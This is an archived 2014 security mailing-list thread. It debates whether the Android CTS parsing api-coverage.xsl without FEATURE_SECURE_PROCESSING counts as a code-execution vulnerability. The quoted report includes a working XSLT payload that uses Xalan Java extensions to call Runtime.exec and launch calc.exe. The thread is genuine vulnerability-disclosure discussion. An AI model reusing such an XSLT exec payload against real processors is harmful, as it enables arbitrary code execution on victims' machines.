oss-security - Re: [FD] CVE request: remote code execution in Android CTS

server OS

Date: Sun, 19 Oct 2014 19:27:30 -0700
From: Grond <grond66@...il.com>
To: Nick Kralevich <nnk@...gle.com>
Cc: oss-security@...ts.openwall.com, fulldisclosure@...lists.org
Subject: Re: [FD] CVE request: remote code execution in
 Android CTS

On Sun, Oct 19, 2014 at 05:20:50AM -0700, Nick Kralevich wrote:
> Nick from the Android Security team here.
> 
> In the future, please feel free to send these kinds of reports to
> security@...roid.com. Please see
> http://developer.android.com/guide/faq/security.html#issue for contact
> information.
> 
> Android's Compatibility Test Suite (CTS) is an executable software
> package intended to be downloaded and run from your computer. Please
> see https://source.android.com/compatibility/cts-intro.html for more
> information.
> 
> The files within the software package are not intended to be modified.
> 
> If I'm reading your report correctly, you're claiming that an attacker
> who has the ability to locally modify a software package has the
> ability to get code execution. This isn't a security bug. What you're
> describing is another example of
> http://blogs.msdn.com/b/oldnewthing/archive/2007/10/31/5788080.aspx .
> You're on the wrong side of the airtight hatch.

Before trying to sweep this thing under the carpet, you might want to
ask yourself two simple questions:
Is this kind of file ever *intended* to be used as an executable script?
If the answer is "no"; then you should apply fixes.
And:
Which is more expensive? Spending a couple of hours to fix this now,
or having someone chain this together with another (unforeseeable)
bug enabling easy exploitation a few years down the road, allowing 
them to do some real damage?

Oh, and:
There really is no such thing as an "airtight hatch".

> 
> If you are aware of ways to exploit this functionality that doesn't
> involve tricking the user into replacing a file, please feel free to
> contact us at security@...roid.com.
> 
> -- Nick
> 
> On Sun, Oct 19, 2014 at 2:28 AM, Lord Tuskington <l.tuskington@...il.com> wrote:
> > CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING
> > option. See lines 60-67 of
> > cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java:
> >
> > InputStream xsl =
> > CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl");
> > StreamSource xslSource = new StreamSource(xsl);
> > TransformerFactory factory = TransformerFactory.newInstance();
> > Transformer transformer = factory.newTransformer(xslSource);
> >
> > StreamSource xmlSource = new StreamSource(xmlIn);
> > StreamResult result = new StreamResult(out);
> > transformer.transform(xmlSource, result);
> >
> > An attacker who is able to control api-coverage.xsl could inject arbitrary
> > code into it, which would be executed. For example:
> >
> > <xsl:stylesheet version="1.0"
> > xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
> > xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
> > xmlns:str="http://xml.apache.org/xalan/java/java.lang.String"
> >>
> > <xsl:output method="text"/>
> >     <xsl:template match="/">
> >        <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable>
> >        <xsl:variable name="RT" select="rt:getRuntime()"/>
> >        <xsl:variable name="proc" select="rt:exec($RT, $Command)"/>
> >        <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/>
> >     </xsl:template>
> > </xsl:stylesheet>
> >
> > Would pop a calc. This crosses a trust boundary because an attacker could
> > provide an XSL stylesheet that, for example, has enhanced visual layout. A
> > person consuming that stylesheet would assume it could not possibly contain
> > arbitrary code that would be executed, as it's just a stylesheet. The XSL
> > extensions to execute code should be disabled by passing
> > FEATURE_SECURE_PROCESSING.
> >
> > Regards
> >
> > Lord Tuskington
> >
> > Chief Financial Pinniped
> >
> > TuskCorp
> 
> 
> 
> -- 
> Nick Kralevich | Android Security | nnk@...gle.com | 650.214.4037
> 
> _______________________________________________
> Sent through the Full Disclosure mailing list
> http://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: http://seclists.org/fulldisclosure/

-- 

Attached is my PGP public key.
Primary key fingerprint: B7C7 AD66 D9AF 4348 0238  168E 2C53 D8FA 55D8 9FD9

If you have a PGP key (and a minute to spare)
please send it in reply to this email.

If you have no idea what PGP is, feel free
to ignore all this gobbledegook.

Content of type "application/pgp-keys" skipped

Download attachment "signature.asc" of type "application/pgp-signature" (837 bytes)